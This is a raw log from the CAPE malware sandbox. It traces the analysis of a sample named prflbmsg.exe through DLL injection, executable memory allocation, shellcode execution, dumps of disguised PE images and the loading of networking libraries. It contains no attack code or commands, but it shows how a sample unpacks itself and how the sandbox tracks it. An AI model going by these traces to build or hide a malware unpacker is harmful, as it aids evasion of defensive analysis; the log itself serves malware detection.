2020-05-23 10:39:56,343 [root] DEBUG: CAPE initialised: 64-bit monitor loaded in process 1428 at 0x0000000071210000, image base 0x00000000FF230000, stack from 0x0000000006502000-0x0000000006510000
2020-05-23 10:39:56,359 [root] DEBUG: Commandline: C:\Windows\explorer.exe.
2020-05-23 10:39:56,421 [root] WARNING: b'Unable to place hook on LockResource'
2020-05-23 10:39:56,421 [root] WARNING: b'Unable to hook LockResource'
2020-05-23 10:39:56,468 [root] DEBUG: ExtractionInit: Debugger initialised.
2020-05-23 10:39:56,468 [root] DEBUG: AddTrackedRegion: Created new tracked region for address 0x00000000FF230000.
2020-05-23 10:39:56,484 [root] DEBUG: set_caller_info: Adding region at 0x00000000FF230000 to caller regions list (user32::SendMessageW).
2020-05-23 10:39:56,484 [root] DEBUG: set_caller_info: Adding region at 0x000007FEF3DE0000 to caller regions list (ntdll::NtQueryPerformanceCounter).
2020-05-23 10:39:56,484 [root] DEBUG: set_caller_info: Adding region at 0x0000000071210000 to caller regions list (kernel32::GetSystemTimeAsFileTime).
2020-05-23 10:39:56,671 [root] DEBUG: AddTrackedRegion: New region at 0x00000000FF230000 size 0x1000 added to tracked regions: EntryPoint 0x2b794, Entropy 5.540866e+00
2020-05-23 10:39:56,687 [root] DEBUG: ExtractionInit: Adding main image base to tracked regions.
2020-05-23 10:39:56,687 [root] INFO: loaded: b'1428'
2020-05-23 10:39:56,687 [root] INFO: Loaded monitor into process with pid 1428
2020-05-23 10:39:56,687 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2020-05-23 10:39:56,687 [root] DEBUG: InjectDll: Successfully injected DLL via thread.
2020-05-23 10:39:56,687 [root] DEBUG: Successfully injected DLL C:\tmp2ssujfce\dll\yhdpZP.dll.
2020-05-23 10:39:56,750 [root] DEBUG: DLL unloaded from 0x73020000.
2020-05-23 10:39:56,765 [root] DEBUG: DLL loaded at 0x744D0000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2020-05-23 10:39:56,781 [root] DEBUG: DLL loaded at 0x74400000: C:\Windows\system32\rsaenh (0x3b000 bytes).
2020-05-23 10:39:56,781 [root] DEBUG: DLL loaded at 0x74340000: C:\Windows\system32\RpcRtRemote (0xe000 bytes).
2020-05-23 10:39:56,828 [root] DEBUG: DLL loaded at 0x73D80000: C:\Windows\system32\mssprxy (0xc000 bytes).
2020-05-23 10:39:56,843 [root] DEBUG: DLL unloaded from 0x73D80000.
2020-05-23 10:39:56,859 [root] DEBUG: DLL unloaded from 0x74F40000.
2020-05-23 10:39:57,093 [root] INFO: Announced 32-bit process name: prflbmsg.exe pid: 3576
2020-05-23 10:39:57,093 [lib.api.process] INFO: Monitor config for process 3576: C:\tmp2ssujfce\dll\3576.ini
2020-05-23 10:39:57,109 [lib.api.process] INFO: Option 'extraction' with value '1' sent to monitor
2020-05-23 10:39:57,109 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2020-05-23 10:39:57,109 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp2ssujfce\dll\ymSBbTlE.dll, loader C:\tmp2ssujfce\bin\oUUGhOj.exe
2020-05-23 10:39:57,156 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\nUBNsHqH.
2020-05-23 10:39:57,156 [root] DEBUG: Loader: Injecting process 3576 (thread 3584) with C:\tmp2ssujfce\dll\ymSBbTlE.dll.
2020-05-23 10:39:57,156 [root] DEBUG: Process image base: 0x00400000
2020-05-23 10:39:57,156 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmp2ssujfce\dll\ymSBbTlE.dll.
2020-05-23 10:39:57,156 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2020-05-23 10:39:57,171 [root] DEBUG: Successfully injected DLL C:\tmp2ssujfce\dll\ymSBbTlE.dll.
2020-05-23 10:39:57,171 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 3576
2020-05-23 10:39:57,171 [root] DEBUG: DLL loaded at 0x74CD0000: C:\Windows\system32\apphelp (0x4c000 bytes).
2020-05-23 10:39:57,203 [root] DEBUG: DLL unloaded from 0x00400000.
2020-05-23 10:39:57,203 [root] INFO: Announced 32-bit process name: prflbmsg.exe pid: 3576
2020-05-23 10:39:57,203 [lib.api.process] INFO: Monitor config for process 3576: C:\tmp2ssujfce\dll\3576.ini
2020-05-23 10:39:57,203 [lib.api.process] INFO: Option 'extraction' with value '1' sent to monitor
2020-05-23 10:39:57,218 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2020-05-23 10:39:57,218 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp2ssujfce\dll\ymSBbTlE.dll, loader C:\tmp2ssujfce\bin\oUUGhOj.exe
2020-05-23 10:39:57,234 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\nUBNsHqH.
2020-05-23 10:39:57,234 [root] DEBUG: Loader: Injecting process 3576 (thread 3584) with C:\tmp2ssujfce\dll\ymSBbTlE.dll.
2020-05-23 10:39:57,234 [root] DEBUG: Process image base: 0x00400000
2020-05-23 10:39:57,234 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmp2ssujfce\dll\ymSBbTlE.dll.
2020-05-23 10:39:57,234 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2020-05-23 10:39:57,234 [root] DEBUG: Successfully injected DLL C:\tmp2ssujfce\dll\ymSBbTlE.dll.
2020-05-23 10:39:57,249 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 3576
2020-05-23 10:39:57,281 [root] DEBUG: NtTerminateProcess hook: Processing tracked regions before shutdown (process 4188).
2020-05-23 10:39:57,281 [root] DEBUG: ProcessImageBase: EP 0x0001FF13 image base 0x00400000 size 0x0 entropy 6.320069e+00.
2020-05-23 10:39:57,312 [root] INFO: Disabling sleep skipping.
2020-05-23 10:39:57,328 [root] DEBUG: RestoreHeaders: Restored original import table.
2020-05-23 10:39:57,328 [root] DEBUG: CAPE initialised: 32-bit monitor loaded in process 3576 at 0x6fa40000, image base 0x400000, stack from 0x186000-0x190000
2020-05-23 10:39:57,328 [root] DEBUG: Commandline: C:\Users\Louise\AppData\Local\Temp\"C:\Windows\SysWOW64\prflbmsg\prflbmsg.exe".
2020-05-23 10:39:57,375 [root] DEBUG: WoW64 detected: 64-bit ntdll base: 0x77180000, KiUserExceptionDispatcher: 0x0, NtSetContextThread: 0x771eb5f0, Wow64PrepareForException: 0x0
2020-05-23 10:39:57,375 [root] DEBUG: WoW64 workaround: KiUserExceptionDispatcher hook installed at: 0x560000
2020-05-23 10:39:57,390 [root] DEBUG: ExtractionInit: Debugger initialised.
2020-05-23 10:39:57,390 [root] DEBUG: AddTrackedRegion: Created new tracked region for address 0x00400000.
2020-05-23 10:39:57,406 [root] DEBUG: AddTrackedRegion: New region at 0x00400000 size 0x1000 added to tracked regions: EntryPoint 0x1ff13, Entropy 6.309042e+00
2020-05-23 10:39:57,406 [root] DEBUG: ExtractionInit: Adding main image base to tracked regions.
2020-05-23 10:39:57,406 [root] INFO: loaded: b'3576'
2020-05-23 10:39:57,406 [root] INFO: Loaded monitor into process with pid 3576
2020-05-23 10:39:57,437 [root] DEBUG: DLL loaded at 0x03580000: C:\Windows\system32\WerFault.exe (0x5b000 bytes).
2020-05-23 10:39:57,437 [root] DEBUG: Allocation: 0x00580000 - 0x0058A000, size: 0xa000, protection: 0x40.
2020-05-23 10:39:57,437 [root] DEBUG: ProcessTrackedRegions: Processing region at 0x00000000.
2020-05-23 10:39:57,453 [root] DEBUG: ProcessTrackedRegions: Processing region at 0x00400000.
2020-05-23 10:39:57,453 [root] DEBUG: ProcessImageBase: EP 0x0001FF13 image base 0x00400000 size 0x0 entropy 6.320203e+00.
2020-05-23 10:39:57,453 [root] DEBUG: AllocationHandler: Adding allocation to tracked region list: 0x00580000, size: 0xa000.
2020-05-23 10:39:57,453 [root] DEBUG: AddTrackedRegion: Created new tracked region for address 0x00580000.
2020-05-23 10:39:57,453 [root] DEBUG: AddTrackedRegion: New region at 0x00580000 size 0xa000 added to tracked regions.
2020-05-23 10:39:57,468 [root] DEBUG: ActivateBreakpoints: TrackedRegion->AllocationBase: 0x00580000, TrackedRegion->RegionSize: 0xa000, thread 3584
2020-05-23 10:39:57,484 [root] DEBUG: SetThreadBreakpoint: Set bp 0 thread id 3584 type 1 at address 0x00580000, size 2 with Callback 0x6fa47ee0.
2020-05-23 10:39:57,484 [root] DEBUG: ActivateBreakpoints: Set write breakpoint on empty protect address: 0x00580000
2020-05-23 10:39:57,500 [root] DEBUG: SetThreadBreakpoint: Set bp 1 thread id 3584 type 1 at address 0x0058003C, size 4 with Callback 0x6fa47b30.
2020-05-23 10:39:57,500 [root] DEBUG: ActivateBreakpoints: Set write breakpoint on e_lfanew address: 0x0058003C
2020-05-23 10:39:57,500 [root] DEBUG: AllocationHandler: Breakpoints set on newly-allocated executable region at: 0x00580000 (size 0xa000).
2020-05-23 10:39:57,515 [root] DEBUG: DLL unloaded from 0x77340000.
2020-05-23 10:39:57,515 [root] DEBUG: CAPEExceptionFilter: breakpoint hit by instruction at 0x0041F55A (thread 3584)
2020-05-23 10:39:57,515 [root] DEBUG: BaseAddressWriteCallback: Breakpoint 0 at Address 0x00580000.
2020-05-23 10:39:57,531 [root] DEBUG: BaseAddressWriteCallback: byte written to 0x580000: 0x6f.
2020-05-23 10:39:57,531 [root] DEBUG: BaseAddressWriteCallback: Exec bp set on tracked region protect address.
2020-05-23 10:39:57,531 [root] DEBUG: CAPEExceptionFilter: breakpoint hit by instruction at 0x0041F55A (thread 3584)
2020-05-23 10:39:57,531 [root] DEBUG: PEPointerWriteCallback: Breakpoint 1 at Address 0x0058003C.
2020-05-23 10:39:57,562 [root] DEBUG: PEPointerWriteCallback: candidate pointer to PE header too big: 0x48d60b0c (at 0x0058003C).
2020-05-23 10:39:57,562 [root] DEBUG: ContextSetNextAvailableBreakpoint: An identical breakpoint (2) at 0x00580000 already exists for thread 3584 (process 3576), skipping.
2020-05-23 10:39:57,562 [root] DEBUG: PEPointerWriteCallback: set write bp on AddressOfEntryPoint at 0x00580000.
2020-05-23 10:39:57,562 [root] DEBUG: CAPEExceptionFilter: breakpoint hit by instruction at 0x00405CCD (thread 3584)
2020-05-23 10:39:57,578 [root] DEBUG: BaseAddressWriteCallback: Breakpoint 0 at Address 0x00580000.
2020-05-23 10:39:57,578 [root] DEBUG: ContextSetNextAvailableBreakpoint: An identical breakpoint (2) at 0x00580000 already exists for thread 3584 (process 3576), skipping.
2020-05-23 10:39:57,593 [root] DEBUG: BaseAddressWriteCallback: byte written to 0x580000: 0xe8.
2020-05-23 10:39:57,609 [root] DEBUG: BaseAddressWriteCallback: Exec bp set on tracked region protect address.
2020-05-23 10:39:57,609 [root] DEBUG: CAPEExceptionFilter: breakpoint hit by instruction at 0x00405CCD (thread 3584)
2020-05-23 10:39:57,609 [root] DEBUG: BaseAddressWriteCallback: Breakpoint 0 at Address 0x00580000.
2020-05-23 10:39:57,609 [root] DEBUG: ContextSetNextAvailableBreakpoint: An identical breakpoint (2) at 0x00580000 already exists for thread 3584 (process 3576), skipping.
2020-05-23 10:39:57,609 [root] DEBUG: BaseAddressWriteCallback: byte written to 0x580000: 0xe8.
2020-05-23 10:39:57,609 [root] DEBUG: BaseAddressWriteCallback: Exec bp set on tracked region protect address.
2020-05-23 10:39:57,625 [root] DEBUG: CAPEExceptionFilter: breakpoint hit by instruction at 0x00405CCD (thread 3584)
2020-05-23 10:39:57,625 [root] DEBUG: PEPointerWriteCallback: Breakpoint 1 at Address 0x0058003C.
2020-05-23 10:39:57,640 [root] DEBUG: PEPointerWriteCallback: candidate pointer to PE header too big: 0x48d60b56 (at 0x0058003C).
2020-05-23 10:39:57,656 [root] DEBUG: ContextSetNextAvailableBreakpoint: An identical breakpoint (2) at 0x00580000 already exists for thread 3584 (process 3576), skipping.
2020-05-23 10:39:57,656 [root] DEBUG: PEPointerWriteCallback: set write bp on AddressOfEntryPoint at 0x00580000.
2020-05-23 10:39:57,656 [root] DEBUG: CAPEExceptionFilter: breakpoint hit by instruction at 0x00405CCD (thread 3584)
2020-05-23 10:39:57,656 [root] DEBUG: PEPointerWriteCallback: Breakpoint 1 at Address 0x0058003C.
2020-05-23 10:39:57,671 [root] DEBUG: PEPointerWriteCallback: candidate pointer to PE header too big: 0x48d65756 (at 0x0058003C).
2020-05-23 10:39:57,687 [root] DEBUG: ContextSetNextAvailableBreakpoint: An identical breakpoint (2) at 0x00580000 already exists for thread 3584 (process 3576), skipping.
2020-05-23 10:39:57,687 [root] DEBUG: PEPointerWriteCallback: set write bp on AddressOfEntryPoint at 0x00580000.
2020-05-23 10:39:57,703 [root] DEBUG: CAPEExceptionFilter: breakpoint hit by instruction at 0x00405CCD (thread 3584)
2020-05-23 10:39:57,718 [root] DEBUG: PEPointerWriteCallback: Breakpoint 1 at Address 0x0058003C.
2020-05-23 10:39:57,718 [root] DEBUG: PEPointerWriteCallback: set write bp on AddressOfEntryPoint at 0x00580000.
2020-05-23 10:39:57,734 [root] DEBUG: CAPEExceptionFilter: breakpoint hit by instruction at 0x00405CCD (thread 3584)
2020-05-23 10:39:57,765 [root] DEBUG: PEPointerWriteCallback: Breakpoint 1 at Address 0x0058003C.
2020-05-23 10:39:57,765 [root] DEBUG: PEPointerWriteCallback: candidate pointer to PE header too big: 0xf6335756 (at 0x0058003C).
2020-05-23 10:39:57,765 [root] DEBUG: ContextSetNextAvailableBreakpoint: An identical breakpoint (2) at 0x00580000 already exists for thread 3584 (process 3576), skipping.
2020-05-23 10:39:57,781 [root] DEBUG: PEPointerWriteCallback: set write bp on AddressOfEntryPoint at 0x00580000.
2020-05-23 10:39:58,906 [root] DEBUG: CAPEExceptionFilter: breakpoint hit by instruction at 0x00580000 (thread 3584)
2020-05-23 10:39:58,906 [root] DEBUG: ShellcodeExecCallback: Breakpoint 2 at Address 0x00580000 (allocation base 0x00580000).
2020-05-23 10:39:58,921 [root] DEBUG: ClearBreakpointsInRange: Clearing breakpoints in range 0x580000 - 0x58a000.
2020-05-23 10:39:58,937 [root] DEBUG: ClearBreakpointsInRange: Clearing breakpoint 0 address 0x00580000.
2020-05-23 10:39:58,937 [root] DEBUG: ClearBreakpointsInRange: Clearing breakpoint 1 address 0x0058003C.
2020-05-23 10:39:58,953 [root] DEBUG: ClearBreakpointsInRange: Clearing breakpoint 2 address 0x00580000.
2020-05-23 10:39:58,968 [root] DEBUG: ShellcodeExecCallback: About to scan region for a PE image (base 0x00580000, size 0xa000).
2020-05-23 10:39:58,968 [root] DEBUG: DumpPEsInRange: Scanning range 0x580000 - 0x58a000.
2020-05-23 10:39:59,015 [root] DEBUG: ScanForDisguisedPE: PE image located at: 0x58053f
2020-05-23 10:39:59,031 [root] INFO: ('dump_file', 'C:\\JOAxPSDeF\\CAPE\\3576_114452323239212023652020', b'8;?C:\\Windows\\SysWOW64\\prflbmsg\\prflbmsg.exe;?C:\\Windows\\SysWOW64\\prflbmsg\\prflbmsg.exe;?0x00580000;?', ['3576'], 'CAPE')
2020-05-23 10:39:59,062 [root] DEBUG: DumpPE: PE file in memory dumped successfully - dump size 0x9a00.
2020-05-23 10:39:59,078 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x58153f-0x58a000.
2020-05-23 10:39:59,078 [root] DEBUG: ShellcodeExecCallback: PE image(s) detected and dumped.
2020-05-23 10:39:59,093 [root] DEBUG: set_caller_info: Adding region at 0x00580000 to caller regions list (ntdll::NtAllocateVirtualMemory).
2020-05-23 10:39:59,093 [root] DEBUG: ProcessTrackedRegions: Processing region at 0x00000000.
2020-05-23 10:39:59,125 [root] DEBUG: ProcessTrackedRegions: Processing region at 0x00400000.
2020-05-23 10:39:59,125 [root] DEBUG: ProcessImageBase: EP 0x0001FF13 image base 0x00400000 size 0x0 entropy 6.320203e+00.
2020-05-23 10:39:59,140 [root] DEBUG: ProcessTrackedRegions: Processing region at 0x00580000.
2020-05-23 10:39:59,140 [root] DEBUG: ProtectionHandler: Adding region at 0x01D41000 to tracked regions.
2020-05-23 10:39:59,156 [root] DEBUG: AddTrackedRegion: Created new tracked region for address 0x01D41000.
2020-05-23 10:39:59,156 [root] DEBUG: AddTrackedRegion: New region at 0x01D40000 size 0x9000 added to tracked regions: EntryPoint 0x5130, Entropy 5.870105e+00
2020-05-23 10:39:59,171 [root] DEBUG: ProtectionHandler: Address: 0x01D41000 (alloc base 0x01D40000), NumberOfBytesToProtect: 0x8600, NewAccessProtection: 0x20
2020-05-23 10:39:59,171 [root] DEBUG: ProtectionHandler: Increased region size at 0x01D41000 to 0x9600.
2020-05-23 10:39:59,187 [root] DEBUG: ProtectionHandler: New code detected at (0x01D40000), scanning for PE images.
2020-05-23 10:39:59,203 [root] DEBUG: DumpPEsInRange: Scanning range 0x1d40000 - 0x1d49600.
2020-05-23 10:39:59,218 [root] DEBUG: ScanForDisguisedPE: PE image located at: 0x1d40000
2020-05-23 10:39:59,218 [root] DEBUG: DumpImageInCurrentProcess: Disguised PE image (bad MZ and/or PE headers) at 0x01D40000
2020-05-23 10:39:59,249 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump virtual PE image.
2020-05-23 10:39:59,249 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x01D40000.
2020-05-23 10:39:59,249 [root] DEBUG: DumpProcess: Module entry point VA is 0x00005130.
2020-05-23 10:39:59,265 [root] INFO: ('dump_file', 'C:\\JOAxPSDeF\\CAPE\\3576_109615838659391623652020', b'8;?C:\\Windows\\SysWOW64\\prflbmsg\\prflbmsg.exe;?C:\\Windows\\SysWOW64\\prflbmsg\\prflbmsg.exe;?0x01D40000;?', ['3576'], 'CAPE')
2020-05-23 10:39:59,406 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x9a00.
2020-05-23 10:39:59,421 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x1d41000-0x1d49600.
2020-05-23 10:39:59,421 [root] DEBUG: DumpPEsInTrackedRegion: Dumped 1 PE image(s) from range 0x01D40000 - 0x01D49600.
2020-05-23 10:39:59,421 [root] DEBUG: ProtectionHandler: PE image(s) dumped from 0x01D40000.
2020-05-23 10:39:59,421 [root] DEBUG: ClearBreakpointsInRange: Clearing breakpoints in range 0x1d40000 - 0x1d49600.
2020-05-23 10:39:59,437 [root] DEBUG: set_caller_info: Adding region at 0x01D40000 to caller regions list (ntdll::LdrGetDllHandle).
2020-05-23 10:39:59,437 [root] DEBUG: DLL loaded at 0x76A70000: C:\Windows\syswow64\crypt32 (0x122000 bytes).
2020-05-23 10:39:59,453 [root] DEBUG: DLL loaded at 0x76EA0000: C:\Windows\syswow64\MSASN1 (0xc000 bytes).
2020-05-23 10:39:59,468 [root] DEBUG: DLL loaded at 0x75B90000: C:\Windows\syswow64\urlmon (0x124000 bytes).
2020-05-23 10:39:59,484 [root] DEBUG: DLL loaded at 0x76EB0000: C:\Windows\syswow64\api-ms-win-downlevel-ole32-l1-1-0 (0x4000 bytes).
2020-05-23 10:39:59,484 [root] DEBUG: DLL loaded at 0x74E90000: C:\Windows\syswow64\api-ms-win-downlevel-shlwapi-l1-1-0 (0x4000 bytes).
2020-05-23 10:39:59,484 [root] DEBUG: DLL loaded at 0x76EF0000: C:\Windows\syswow64\api-ms-win-downlevel-advapi32-l1-1-0 (0x5000 bytes).
2020-05-23 10:39:59,484 [root] DEBUG: DLL loaded at 0x76E40000: C:\Windows\syswow64\api-ms-win-downlevel-user32-l1-1-0 (0x4000 bytes).
2020-05-23 10:39:59,500 [root] DEBUG: DLL loaded at 0x76EE0000: C:\Windows\syswow64\api-ms-win-downlevel-version-l1-1-0 (0x4000 bytes).
2020-05-23 10:39:59,500 [root] DEBUG: DLL loaded at 0x73590000: C:\Windows\system32\version (0x9000 bytes).
2020-05-23 10:39:59,515 [root] DEBUG: DLL loaded at 0x767F0000: C:\Windows\syswow64\api-ms-win-downlevel-normaliz-l1-1-0 (0x3000 bytes).
2020-05-23 10:39:59,515 [root] DEBUG: DLL loaded at 0x766F0000: C:\Windows\syswow64\normaliz (0x3000 bytes).
2020-05-23 10:39:59,515 [root] DEBUG: DLL loaded at 0x76BA0000: C:\Windows\syswow64\iertutil (0x215000 bytes).
2020-05-23 10:39:59,531 [root] DEBUG: DLL loaded at 0x75CC0000: C:\Windows\syswow64\WININET (0x1c4000 bytes).
2020-05-23 10:39:59,531 [root] DEBUG: DLL loaded at 0x74450000: C:\Windows\system32\userenv (0x17000 bytes).
2020-05-23 10:39:59,531 [root] DEBUG: DLL loaded at 0x74440000: C:\Windows\system32\profapi (0xb000 bytes).
2020-05-23 10:39:59,546 [root] DEBUG: DLL loaded at 0x743F0000: C:\Windows\system32\wtsapi32 (0xd000 bytes).
2020-05-23 10:39:59,781 [root] DEBUG: DLL loaded at 0x744D0000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2020-05-23 10:39:59,781 [root] DEBUG: DLL loaded at 0x74400000: C:\Windows\system32\rsaenh (0x3b000 bytes).
2020-05-23 10:40:11,781 [root] DEBUG: DLL loaded at 0x73230000: C:\Windows\system32\Secur32 (0x8000 bytes).
2020-05-23 10:40:11,796 [root] DEBUG: DLL loaded at 0x72DF0000: C:\Windows\system32\api-ms-win-downlevel-advapi32-l2-1-0 (0x4000 bytes).
2020-05-23 10:40:11,812 [root] DEBUG: DLL loaded at 0x763F0000: C:\Windows\syswow64\WS2_32 (0x35000 bytes).
2020-05-23 10:40:11,812 [root] DEBUG: DLL loaded at 0x760B0000: C:\Windows\syswow64\NSI (0x6000 bytes).
2020-05-23 10:40:11,828 [root] DEBUG: DLL loaded at 0x6EA70000: C:\Windows\system32\winhttp (0x58000 bytes).
2020-05-23 10:40:11,828 [root] DEBUG: DLL loaded at 0x6EA20000: C:\Windows\system32\webio (0x50000 bytes).
2020-05-23 10:40:11,843 [root] DEBUG: DLL unloaded from 0x6EA70000.
2020-05-23 10:40:11,859 [root] DEBUG: DLL loaded at 0x74490000: C:\Windows\system32\mswsock (0x3c000 bytes).
2020-05-23 10:40:11,859 [root] DEBUG: DLL loaded at 0x72DE0000: C:\Windows\System32\wship6 (0x6000 bytes).
2020-05-23 10:40:11,875 [root] DEBUG: DLL loaded at 0x74880000: C:\Windows\system32\IPHLPAPI (0x1c000 bytes).
2020-05-23 10:40:11,875 [root] DEBUG: DLL loaded at 0x74870000: C:\Windows\system32\WINNSI (0x7000 bytes).
2020-05-23 10:40:11,890 [root] DEBUG: DLL loaded at 0x702A0000: C:\Windows\system32\api-ms-win-downlevel-shlwapi-l2-1-0 (0x4000 bytes).
2020-05-23 10:40:11,906 [root] DEBUG: DLL loaded at 0x70250000: C:\Windows\system32\DNSAPI (0x44000 bytes).
2020-05-23 10:40:11,906 [root] DEBUG: DLL loaded at 0x76170000: C:\Windows\syswow64\CLBCatQ (0x83000 bytes).
2020-05-23 10:40:11,921 [root] DEBUG: DLL loaded at 0x70310000: C:\Windows\System32\netprofm (0x5a000 bytes).
2020-05-23 10:40:11,921 [root] DEBUG: DLL loaded at 0x72E10000: C:\Windows\System32\nlaapi (0x10000 bytes).
2020-05-23 10:40:11,937 [root] DEBUG: DLL loaded at 0x702D0000: C:\Windows\system32\dhcpcsvc6 (0xd000 bytes).
2020-05-23 10:40:11,937 [root] DEBUG: DLL loaded at 0x746C0000: C:\Windows\System32\wshtcpip (0x5000 bytes).
2020-05-23 10:40:11,953 [root] DEBUG: DLL loaded at 0x702B0000: C:\Windows\system32\dhcpcsvc (0x12000 bytes).
2020-05-23 10:40:11,968 [root] DEBUG: DLL loaded at 0x74340000: C:\Windows\system32\RpcRtRemote (0xe000 bytes).
2020-05-23 10:40:11,968 [root] DEBUG: DLL loaded at 0x70230000: C:\Windows\system32\rasadhlp (0x6000 bytes).
2020-05-23 10:40:11,984 [root] DEBUG: DLL loaded at 0x70470000: C:\Windows\System32\fwpuclnt (0x38000 bytes).
2020-05-23 10:40:11,984 [root] DEBUG: DLL loaded at 0x72E00000: C:\Windows\System32\npmproxy (0x8000 bytes).
2020-05-23 10:40:12,000 [root] DEBUG: DLL loaded at 0x73A10000: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d\Comctl32 (0x19e000 bytes).
2020-05-23 10:40:12,000 [root] DEBUG: DLL unloaded from 0x746C0000.
2020-05-23 10:40:12,015 [root] DEBUG: DLL unloaded from 0x72DE0000.
2020-05-23 10:40:17,609 [root] DEBUG: set_caller_info: Adding region at 0x000007FEF5290000 to caller regions list (ntdll::NtClose).
2020-05-23 10:40:17,609 [root] DEBUG: DLL unloaded from 0x000007FEF5920000.
2020-05-23 10:40:17,625 [root] DEBUG: set_caller_info: Adding region at 0x000007FEF5920000 to caller regions list (ntdll::NtFreeVirtualMemory).
2020-05-23 10:40:17,640 [root] DEBUG: DLL unloaded from 0x000007FEF6630000.
2020-05-23 10:40:17,640 [root] DEBUG: set_caller_info: Adding region at 0x000007FEF6630000 to caller regions list (ntdll::LdrGetProcedureAddress).
2020-05-23 10:40:17,671 [root] DEBUG: DLL unloaded from 0x000007FEF5C40000.
2020-05-23 10:40:17,687 [root] DEBUG: DLL unloaded from 0x000007FEF6470000.
2020-05-23 10:40:17,703 [root] DEBUG: set_caller_info: Adding region at 0x000007FEF6470000 to caller regions list (ntdll::NtClose).
2020-05-23 10:40:17,718 [root] DEBUG: set_caller_info: Adding region at 0x000007FEF6770000 to caller regions list (ntdll::LdrGetProcedureAddress).
2020-05-23 10:40:17,718 [root] DEBUG: DLL unloaded from 0x000007FEF5290000.
2020-05-23 10:40:17,734 [root] DEBUG: DLL unloaded from 0x000007FEF06D0000.
2020-05-23 10:40:17,765 [root] DEBUG: set_caller_info: Adding region at 0x000007FEF06D0000 to caller regions list (ntdll::NtClose).
2020-05-23 10:40:17,781 [root] DEBUG: DLL unloaded from 0x000007FEF5C60000.
2020-05-23 10:40:17,796 [root] DEBUG: set_caller_info: Adding region at 0x000007FEF5C60000 to caller regions list (ntdll::NtClose).
2020-05-23 10:40:17,812 [root] DEBUG: DLL unloaded from 0x000007FEFDEF0000.
2020-05-23 10:40:17,843 [root] DEBUG: set_caller_info: Adding region at 0x000007FEFEDB0000 to caller regions list (ntdll::NtClose).
2020-05-23 10:40:21,921 [root] DEBUG: DLL unloaded from 0x75CC0000.
2020-05-23 10:40:21,921 [root] DEBUG: DLL unloaded from 0x76430000.
2020-05-23 10:40:21,937 [root] DEBUG: DLL unloaded from 0x70310000.
2020-05-23 10:40:31,968 [root] DEBUG: DLL unloaded from 0x75E90000.
2020-05-23 10:40:56,015 [root] DEBUG: DLL unloaded from 0x000007FEFD5B0000.
2020-05-23 10:41:07,828 [root] DEBUG: DLL unloaded from 0x000007FEFAD10000.
2020-05-23 10:41:13,390 [root] DEBUG: set_caller_info: Adding region at 0x000007FEF4110000 to caller regions list (advapi32::RegNotifyChangeKeyValue).
2020-05-23 10:41:14,437 [root] DEBUG: set_caller_info: Adding region at 0x000007FEF3E70000 to caller regions list (user32::SystemParametersInfoW).
2020-05-23 10:41:16,578 [root] DEBUG: DLL unloaded from 0x000007FEFB8D0000.
2020-05-23 10:41:17,281 [root] DEBUG: DLL unloaded from 0x000007FEFDEF0000.
2020-05-23 10:43:09,265 [root] INFO: Analysis timeout hit, terminating analysis.
2020-05-23 10:43:09,265 [lib.api.process] ERROR: Failed to open terminate event for pid 4188
2020-05-23 10:43:09,265 [root] INFO: Terminate event set for process 4188.
2020-05-23 10:43:09,265 [lib.api.process] INFO: Terminate event set for process 1428
2020-05-23 10:43:09,312 [root] DEBUG: Terminate Event: Processing tracked regions before shutdown (process 1428).
2020-05-23 10:43:09,312 [root] DEBUG: ProcessTrackedRegions: Processing region at 0x0000000000000000.
2020-05-23 10:43:09,312 [root] DEBUG: ProcessTrackedRegions: Processing region at 0x00000000FF230000.
2020-05-23 10:43:09,328 [root] DEBUG: ProcessImageBase: EP 0x000000000002B794 image base 0x00000000FF230000 size 0x0 entropy 5.540868e+00.
2020-05-23 10:43:09,328 [root] DEBUG: ClearAllBreakpoints: Error getting thread context (thread 3028, handle 0xbf0).
2020-05-23 10:43:09,343 [root] DEBUG: Terminate Event: Skipping dump of process 1428
2020-05-23 10:43:09,343 [lib.api.process] INFO: Termination confirmed for process 1428
2020-05-23 10:43:09,343 [root] INFO: Terminate event set for process 1428.
2020-05-23 10:43:09,343 [lib.api.process] INFO: Terminate event set for process 3576
2020-05-23 10:43:09,343 [root] DEBUG: Terminate Event: CAPE shutdown complete for process 1428
2020-05-23 10:43:09,343 [root] DEBUG: Terminate Event: Processing tracked regions before shutdown (process 3576).
2020-05-23 10:43:09,343 [root] DEBUG: ProcessTrackedRegions: Processing region at 0x00000000.
2020-05-23 10:43:09,359 [root] DEBUG: ProcessTrackedRegions: Processing region at 0x00400000.
2020-05-23 10:43:09,359 [root] DEBUG: ProcessImageBase: EP 0x0001FF13 image base 0x00400000 size 0x0 entropy 6.320203e+00.
2020-05-23 10:43:09,359 [root] DEBUG: ProcessTrackedRegions: Processing region at 0x00580000.
2020-05-23 10:43:09,375 [root] DEBUG: ProcessTrackedRegions: Processing region at 0x01D40000.
2020-05-23 10:43:09,375 [root] DEBUG: Terminate Event: Skipping dump of process 3576
2020-05-23 10:43:09,375 [lib.api.process] INFO: Termination confirmed for process 3576
2020-05-23 10:43:09,375 [root] INFO: Terminate event set for process 3576.
2020-05-23 10:43:09,375 [root] INFO: Created shutdown mutex.
2020-05-23 10:43:09,375 [root] DEBUG: Terminate Event: CAPE shutdown complete for process 3576
2020-05-23 10:43:10,375 [root] INFO: Shutting down package.
2020-05-23 10:43:10,375 [root] INFO: Stopping auxiliary modules.
